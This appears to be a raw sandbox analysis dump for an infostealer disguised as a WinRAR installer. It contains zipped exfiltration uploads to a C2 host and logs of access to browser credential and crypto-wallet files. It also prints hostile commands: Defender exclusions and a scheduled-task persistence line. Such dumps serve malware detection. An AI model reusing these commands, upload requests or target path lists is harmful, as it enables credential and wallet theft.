nuqg:íêx!ËËö<+SÏPKr8iCÝPKÅ68]Default/browser_meta.jsonUO]KÃ0ý+XíÉ®W[jYÊ&ÏS±VnÝñQÄÆõ5`Y8õzfçVd«Ùb® Jÿ!wÿæ(¦q`¦Î.<ê<ÌjOüB'ÿð÷üpW_Miì&!Òñ9YÄÇBDtUD¤2ltóGûõÒßZ6ªízn ÷têÌDÈ´m?Ì¯xåA3¦õÎn½û558ÿ`à )Þ(Éb#J.1K~ÙÑEdÆ®ìz!Þ'¦{©=®6Õ¡Ç%Å~æZÖ¿¡Öì`÷Ä~#ºûz÷PKnDb§PKÂ68]Default/cookies/google.com.txtmË¢@E×ÕÿBU<{1Bå)º!¡KÁåõõÓÓNL8\eÞ÷ä;kzÎß³ú/$àÇ³A]dÉHL>Ú9Ü;1QÆ~/_+â:³a¤jvníû~lÜ"MöHà[×uï/2&^ú¿ujº¦+PDFÀH[Î¦-ÊªfîÃ:M®%eSÃ¬åãàõF[ø«ß^W[¹@U¡àXS HòÏ`%m+s¶iÇË°ÃdîJúy.5û$;ÉdY¬¢Ã~I#D.Ã5ÍébCÝuY1µ~º*ÇÓhÔ/ÖwyX´6âÓBe&8ä~XB£-âlÔBºâ¿·ÃÎSjwÕÛÆLo©ª+òðX·½±Æ¢Å;9¯9ÞC.ªóÚÓx´÷GÌc¦tVáüÖ_æ°hæB\úòÜÎY«úñèz¸¬Ç£ñN50llâÏ×V{OîHüªÉáJqøOO,ñ|¥øç|½É<ññøV@Àº\ ÿÎ?!|Ó5ôÄÏ³Ç-üÀÛì\öÝAô*«¦ýº©J¬rÊBnÌ,Y±sw× Ío×´v¹cÅP·áDÝËÞ xB¨|bØk×AëêY]nû¸ýeìPKëôßPKÅ68]r8iCÝinfo.jsonPKÅ68]!êÀØû\ÕDefault/browser_meta.jsonPKÅ68]nDb§Default/history.jsonPKÂ68]ëôßDefault/cookies/google.com.txtPKi------361EE8FE0000196C93BB4D5B--" "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1 Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 1149 Cache-Control: no-cache" with payload:==> "------361F10050000196C93BAB5A0Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_FileGrabber.zip"Content-Type: application/octet-streamPKgfLdata/Downloads/desktop.ini}»ÂPDO-øv*øµ+A,´T Q$úñêI@|²ì½»3ÃÌ>îuj¬i³âDHlMíÜqæ@ÊR5wÚÉÄDÜÔîYúæ¢2lâ?fBCÇ«lá¨LBt#öÆ{t+ä]îmË¹IËÃÃê)©7ýæõ]}¸þO"åuLêWYOPKa!PKgfLdata/Documents/desktop.iniA@çô3º¤ èÇê i%hT?¾úV4"Çî¾73ÌìîóÑWOYtR¬³B¯³ÊµQ-éö0©ÝÑFZ³ 0±V°§§8Þ`+æeNU [°îÊ©w¶-M?ÔÉÖ×7ðIÉ¹Ów®oÐpýÐ:¬²gSN+k>E×-ã÷¾æo#4WÍ;]MjþPKoßY[±PKgfLdata/Desktop/desktop.ini}»ÂPDO-øv*¨à£+A,´T Q$úñêI@|²ì½»3ÃÌ>îuj¬i³âDHlMíÜqæ@ÊR5wÚÉÄDÜÔîYúæ¢2lâ?fBCÇ«lá¨LBt#öÆ{t+ä]îmË¹IËÃ>£ê)©7ýæõ]}¸þO"åuª*³PK})àPKgfLa!data/Downloads/desktop.iniPKgfLoßY[±ádata/Documents/desktop.iniPKgfL})àÚdata/Desktop/desktop.iniPKÖ¹------361F10050000196C93BAB5A0--", "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1 Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 4608 Cache-Control: no-cache" with payload:==> "------361F4A970000196C93BAEF32Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_Edge.zip"Content-Type: application/octet-streamPKå68]info.jsonMA0Dïò×JvWOàÎS¥Bcá¶ñîDËyyti@@AÙp"Ë2gÉ4«¹ÕíxUpXAÀ ìÉbk,àx3:,[º¼kÿ[Ê5±óËñÝÄz!úôà~å£³7]ÁÙáäµáuÓj8Æéµªã{JhÐlOrÁH¼?PK«âÔmÜPKå68]Default/browser_meta.json]]KÃ0ÿÊ!W´]&Ý×(Ì°Á.KnaY2ÒÎÉÄÿîQÔË÷#ç}ÈÛ¦xé0±»³;d{ÁÔ¹È(¥,xQËiQrIÑÞaè)]Æ«ó^TÁa°qÁÒxZCÉ>2j9×Záætò¸ÁíÂõ#UªÁâa½|ÌÀ»Â=CÂí>Å#þ®ÂJ·:¹ïwÄø¯@X±#üM@¶×aw&ZIõî×>Õ³6®uV½V'kÊ¨ÒbÂô42c66!öM´9°Y«}3ÞÑ4ÎÒa^U¡r«kË¨ò©R2çÂØ)I9QvN)¶Îc4ÍÎ½PKÿ-,PKå68]Default/history.json½½Â0_¥dèTMÒj¥:(ÁAD¤Mk0m¤IÍ ¾»ñw(tpq¹Ü÷|çÛ^ASs£RgBX~ÉÒZH«~*JkÎªer1"¾gç¢.£d=±½Ì§ï8@1Å©!n(7yj)a%¢5Ëj~.L2%AÀRí7Ý¡ö¹9m1uËÔ¯øë³\þÿª^#;MìTF`<ò!ÓùÛéµ»PK3û¿¶PKå68]Default/cookies/adnxs.com.txtÉn@@Ïô/LklM@@Æµ*)Ã¢`b0uÁ-2"ò÷5é©Ißå^ò¸oKNÆµ=iüª)ß°%(LtLâò®b¦¾ÔÓjËbºj/9³oÃUey}UÊú5|F^T&N$i^Sðgí(òóëJð{µ¾~Tû8³d¶C7½Ç*¤»¾Ð¯Ñ®&Ý,`ø'îá[o` ZeE¨ð@ÒßXÎµ?@#;´h:b|=ÃèIBx +ã-Qâxeùs¸ê7¯°%æËhÃUò¤4ÄlÚ4/W}D0ðéyæo&kûB·xf\HVCp5<;U¼½îÜýîPK$A·!wPKå68]Default/cookies/bing.com.txtÎ±Â0EÑÙ|L°ØNFÀDÎv@ÀÂÿ[EGKWÇÏç§®÷7¨CW`Ç¶/@ªÈBThZ@Àÿ¥òKgÂAbæÉì÷Þ{©ÊÕ(UJ1r&b»I}úµº¶9m!pN7Å¸F)9&_Íè}£æXJñ5K½PK"Å^ûaóÙ¢ÏKR+ÖÚ»àYv7½oä×²ÇsòDm)rkr^X/dÆà«ø Hê]peÔÍH_ÌD«Ä1±1®oõ#J¡ÔoúH_Óx{H§2}SMëÿåÖá£Yt{Oããð/Cä.hìªî ÒÉ¤w¿K_VíáÈr´kXÑÃõv}ö8^%®w×-ö¬`¾ËnS¨z¡,ç~³vÝêO~zãQ.<ÊÁCY¯ÓD*¬8Ã¾¨J0¢¨ $ô)ÛÖäöÔÕèÏbâÆ¼IýYólÖ¶yâö©×æbµ'(á[Ã àTC"tÆõÃYHøEvHPÏÒÚm0Û···ÎÝûàáÜÕÚn7ò(}Í¦z£ï}¤î) S]Ø8È¡Ô£2pBËÀ\Iehuÿ"Z×Ur#c¾F1ßÊ+¯íYf¿È1º@;û>Ñ².Öï±¯óvAY®Ð*¹öQ~tì_ë"sV¶Êt³Ñ2ÿI gÔHÊaaÙ§ÁÁÌäö%¨/39$>µ¡ÔÌÃ¦úB*ÐKVÌÊË±õOØù Î2»VðúDñ8z÷Ö7÷Þ]OPSêou³Í«ºÇ¯v¥ßPKI¹"K)PKå68]Default/cookies/msn.com.txt½TYo£H~îý~Äé»Hy;VÙõ±ÚÍÅÑ$(æ4£ä?8Ê8q¢Ñ<ÕõuÕWG×¼ìªyZh³ÚèbZRXÍG^Ó8ÛÎ´h¦ü¥=llfÌY:aÅö}Âô©GÜBi!=_hF Óú±nm»á¨ðg"qÖ}e7Ï¯AIéÝ &uÊöùD¬@NÖtM]ufÑØuÄÖlòL1¦&Âà JÁü ¥Ì$ýÃÑIº:©ç2w8å±ä917æ§Ö3µøÔ>÷ñzûK¸]SgÁ.~êL9¾f*@øùjDÞÍÊ¡1ÜP]üîþA9äz\ vJQê¾9.Ìÿ°3Uâ¼Çq9:L£Ûí2ð£Ai3Ï¤çúDø"b>ñ¤ÏªlóÖÖ{ÉäÏÐ~´6¹0Ù9î!FAÝíÚ>yÞþòxßW8CXe×{ðp¦kmòÑ!98rÑ5¶Û'c©¾;àv/òp&ìêêje¾-ÿºi~åV&÷®üÈQ^Hó]/ ¡XaB¤§ü9 W'ÍtÉÕ%Ñ÷ÃO¢:î)Áíú,ÁWBÒU¹Ð¹aD.8+*¹LggKÆGBóO®]©È+£\S[·&ûÔÒwÄÆ$Jº®à\3äÝ}½[|¹êÃø>NAðÛÕ<\8hpH)rMÜ¡ñDÈ):»[CêF[EÚÖ][vû"g[·1{SÛ>æ[eHd*Ã\¥ÙrD¥Nê¦qF9æÊàñÃ _É¯W·»Û_dÿþr§Ë¹¶0Ùé¡6gÎÅRs»ÎtÄý÷õòâÆ\çáÅ~ýµ¼ùïéæ;LàáRÂ\yùÒÆß['ä´j¬ió°·Î Z<¶uYô¥=6bPÏïPK|Ìù(PKå68])Default/cookies/scorecardresearch.com.txtÌ½ @áùö0ùSEAS%´ÚMiAß²7¨ñÀá#Cthã]r6âE0Ü0vóª¡m1h[1É`Ì4U}nIùá±nbo9m¤z|UùÇîÙPK´_®PKå68]«âÔmÜinfo.jsonPKå68]ÿ-,ÖDefault/browser_meta.jsonPKå68]3û¿¶6Default/history.jsonPKå68]$A·!w7Default/cookies/adnxs.com.txtPKå68]"Å^<£Default/cookies/bing.com.txtPKå68]\Ôs¦|Default/cookies/clarity.ms.txtPKå68]¯f¾õ nDefault/cookies/linkedin.com.txtPKå68]I¹"K)!zDefault/cookies/microsoft.com.txtPKå68]|Ìù(Default/cookies/msn.com.txtPKå68]´_®)Default/cookies/scorecardresearch.com.txtPKÞ;------361F4A970000196C93BAEF32--", "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1 Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 1370 Cache-Control: no-cache" with payload:==> "------361F98F20000196C93BA3D57Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip"Content-Type: application/octet-streamPK78]Installed_Software.txtµWQsÚ8~Ï¯Ð#L/>I¦¹ÜÄIWa ±<²ûñ÷ÉVJHN[ðÀ%ï~»ú´«]]ÝMÉRòMå©~.ðáäßíÃY×w2·%¹¼`SÞ£Ö?ªÄèR/-¹^.U"IlôR¥Ò¹ÈHU%dë4(R7±UhSh#,0Wfã@t¢ÞéBÙ.æÝ8pÏ*0ä|½øÃxcWÐÆð¾Pù¬µ-Å[ýú=ë7^góÏÂHòUWyúêVÇ££wÈpSÜJSßÁoÌÉ1¸*È-^aÄ>r@æ2>r$Õû5¶*ÈL®eªj¡t^¢^tþùÜ£<¤ýó¯ù¾Ù®;UVØ¡É§OÀäÜG=2NSå 0?«r«Öº}ëÑ Ø¸¸3ÚÂ½÷c§);¹ÖÜhg<èc¼ÇÑ°a¦ø´&ß=5Ü$Ù7d^0bäÝKÕ|O2ÓÅñM.Õq¥åYØÒâb$È2½½ ³ü!SåªñC0úsyáàiÈùGøi.ÍÄ"y$tæ1sîã»ß¯|öÈ¬5×bý,M¬ØmÍDµpÈÇ¶,\W6Óú±5üoÚ¤ã@ÖË6¿'mÏ·á²ÊZáÃÿÜÐZ:Ç±òëp¿ù§Núj¢¹È:vÕ¿¶à¯sy¥lÿQôÔ¼g§©ìSi*hÍ¯MíXóõ²®¡ÔõÄjT(ÖaÖKÕ%L&ìûÿú£©ÊÕºZ«9ò.ÕnRrkU¦ìÌ£-ÄKÕèÐ`¦E¦ép6Gÿ¢ÊµOØ1odiÑô)¤òa°M«½{Ï¡õðÅáÒ¥Û¦´rÞwúf4¬!ÞÚ¿¾%§z2Q®pót$!'Wñ8¾XÈ2aÐ¾Dóëáz´s2I&+£e.®\âú}$^bÂ|¿!ØàMð¥ë¶Ã!¥AñV`âí½®àÂðFPo#ü/Eö\"·³QÕ|û÷s@ü`kÿOßa9vX5ðÃ1º6"Yï½`CMÞ·dÖ?u&È×*Ü$Õ¢9_p·FÝ¼v}ºkµñv\ál6äÁÐyÛ³î"øÛÎn_ìX¡{Dó#_¤I{ÔD.´!ÿ§FjOêÓOþPK*Þ×PK78]*Þ×Installed_Software.txtPKD"------361F98F20000196C93BA3D57--"64:T61c,"MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account-journal" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA FOR ACCOUNT-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data" "MicrosoftEdgeSecurity.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data-journal" "MicrosoftEdgeSecurity.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\LOGIN DATA-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data For Account" "MicrosoftEdgeSecurity.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data For Account-journal" "MicrosoftEdgeSecurity.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\LOGIN DATA FOR ACCOUNT-WAL"65:T40a,"GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Cache-Control: no-cache" "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Cache-Control: no-cache"66:Ta48,"MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\LOCAL EXTENSION SETTINGS\EGJIDJBPGLICHDCONDBCBDNBEEPPGDPH" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\PLACES.SQLITE-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\PLACES.SQLITE-SHM" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\prefs.js" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account-journal" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA FOR ACCOUNT-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\COOKIES-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\WEB DATA-WAL" "MicrosoftEdgeSecurity.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\WEB DATA-SHM"67:Tafb,MicrosoftEdgeSecurity.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\LOCAL EXTENSION SETTINGS\EGJIDJBPGLICHDCONDBCBDNBEEPPGDPH related to Trust Wallet MicrosoftEdgeSecurity.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet MicrosoftEdgeSecurity.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI related to BitApp Wallet MicrosoftEdgeSecurity.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) MicrosoftEdgeSecurity.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HCFLPINCPPPDCLINEALMANDIJCMNKBGN related to KHC MicrosoftEdgeSecurity.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\BCOPGCHHOJMGGMFFILPLMBDICGAIHLKP related to Hycon Lite Client MicrosoftEdgeSecurity.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\BHGHOAMAPCDPBOHPHIGOOOADDINPKBAI related to Authenticator MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA related to Phantom MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\LOCAL EXTENSION SETTINGS\OOKJLBKIIJINHPMNJFFCOFJONBFBGAOC related to Temple MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\CMNDJBECILBOCJFKIBFBIFHNGKDMJGOG related to Swash MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\MNFIFEFKAJGOFKCJKEMIDIAECOCNKJEH related to TezBox MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\JNLGAMECBPMBAJJFHMMMLHEJKEMEJDMA related to Braavos – Starknet Wallet MicrosoftEdgeSecurity.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\ANOKGMPHNCPEKKHCLMINGPIMJMCOOIFB related to Compass Wallet for Sei68:T7da,Spawned process "winrarx64-setup.exe" (UID: 00000000-00007012) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:'"" (UID: 00000000-00007200) Spawned process "winrar-x64-710.exe" (UID: 00000000-00007996) Spawned process "uninstall.exe" with commandline "/setup" (UID: 00000000-00007752) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%\\EdgeUpdate\\'"" (UID: 00000000-00004404) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%\\EdgeUpdate\\\\test.exe'"" (UID: 00000000-00004972) Spawned process "test.exe" with commandline "%WINDIR%\\EdgeUpdate\\\\test.exe" (UID: 00000000-00004284) Spawned process "cmd.exe" with commandline "/c schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe" /sc minute /mo 5 /f /rl highest" (UID: 00000000-00006900) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe" /sc minute /mo 5 /f /rl highest" (UID: 00000000-00007296) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00006508) Spawned process "cmd.exe" with commandline "/c timeout /t 3 /nobreak > nul & del /f /q "%WINDIR%\\EdgeUpdate\\test.exe" & rmdir "%WINDIR%\\EdgeUpdate"" (UID: 00000000-00007072) Spawned process "timeout.exe" with commandline "timeout /t 3 /nobreak" (UID: 00000000-00007632) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00004064) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00003892) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00007356) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00006780) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00005916) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00007660)69:T400,AAABAAEAICAQiwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AIiIiIiIAMzMzMwAiIiIiIiIiIiIiADMzMzMAIiIiIiIiuyIiIiIzMzMzIiIiIiIiIrsiIiIiMzMzMyIiIiIiIiK7IiIiIjO7uzMiIiIiIiIiuyIiIiIzu7szIiIiIiIiZrtmZiIiImZmIiIiZmZmZma7ZmYiIiJmZiIiImZmZmZmZmZmIiIiIiIiIiJmZmZmZmZmZiIiIiIiIiIiZmZmZkREREREd3cAAHd3RERERERERERERHd3AAB3d0REREREd7t3d0T/iP//iP9Ed3d3d3e7d3dE/4j//4j/RHd3d3d3u3d3RP8R/4gR/0R3d3d3d7t3d0T/Ef+IEf9Ed3d3d3e7d3dm/5mIiJn/Znd3d3d3u3d3Zv+ZiIiZ/2Z3d3d3d3d3d3eImTMzmYh3d3d3d3d3d3d3iJkzM5mId3d3d3cREREREREzMzMzERERERERERERERERMzMzMxEREREREVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVXd3d3d3d4iIiIh3d3d3d3d3d3d3d3eIiIiId3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==6a:T400,AAABAAEAICAQiwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AIiIiIiIAMzMzMwAiIiIiIiIiIiIiADMzMzMAIiIiIiIiuyIiIiIzMzMzIiIiIiIiIrsiIiIiMzMzMyIiIiIiIiK7IiIiIjO7uzMiIiIiIiIiuyIiIiIzu7szIiIiIiIiZrtmZiIiImZmIiIiZmZmZma7ZmYiIiJmZiIiImZmZmZmZmZmIiIiIiIiIiJmZmZmZmZmZiIiIiIiIiIiZmZmZkREREREd3cAAHd3RERERERERERERHd3AAB3d0REREREd7t3d0T/iP//iP9Ed3d3d3e7d3dE/4j//4j/RHd3d3d3u3d3RP8R/4gR/0R3d3d3d7t3d0T/Ef+IEf9Ed3d3d3e7d3dm/5mIiJn/Znd3d3d3u3d3Zv+ZiIiZ/2Z3d3d3d3d3d3eImTMzmYh3d3d3d3d3d3d3iJkzM5mId3d3d3cREREREREzMzMzERERERERERERERERMzMzMxEREREREVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVXd3d3d3d4iIiIh3d3d3d3d3d3d3d3eIiIiId3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==6b:T400,AAABAAEAICAQiwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AIiIiIiIAMzMzMwAiIiIiIiIiIiIiADMzMzMAIiIiIiIiuyIiIiIzMzMzIiIiIiIiIrsiIiIiMzMzMyIiIiIiIiK7IiIiIjO7uzMiIiIiIiIiuyIiIiIzu7szIiIiIiIiZrtmZiIiImZmIiIiZmZmZma7ZmYiIiJmZiIiImZmZmZmZmZmIiIiIiIiIiJmZmZmZmZmZiIiIiIiIiIiZmZmZkREREREd3cAAHd3RERERERERERERHd3AAB3d0REREREd7t3d0T/iP//iP9Ed3d3d3e7d3dE/4j//4j/RHd3d3d3u3d3RP8R/4gR/0R3d3d3d7t3d0T/Ef+IEf9Ed3d3d3e7d3dm/5mIiJn/Znd3d3d3u3d3Zv+ZiIiZ/2Z3d3d3d3d3d3eImTMzmYh3d3d3d3d3d3d3iJkzM5mId3d3d3cREREREREzMzMzERERERERERERERERMzMzMxEREREREVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVXd3d3d3d4iIiIh3d3d3d3d3d3d3d3eIiIiId3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA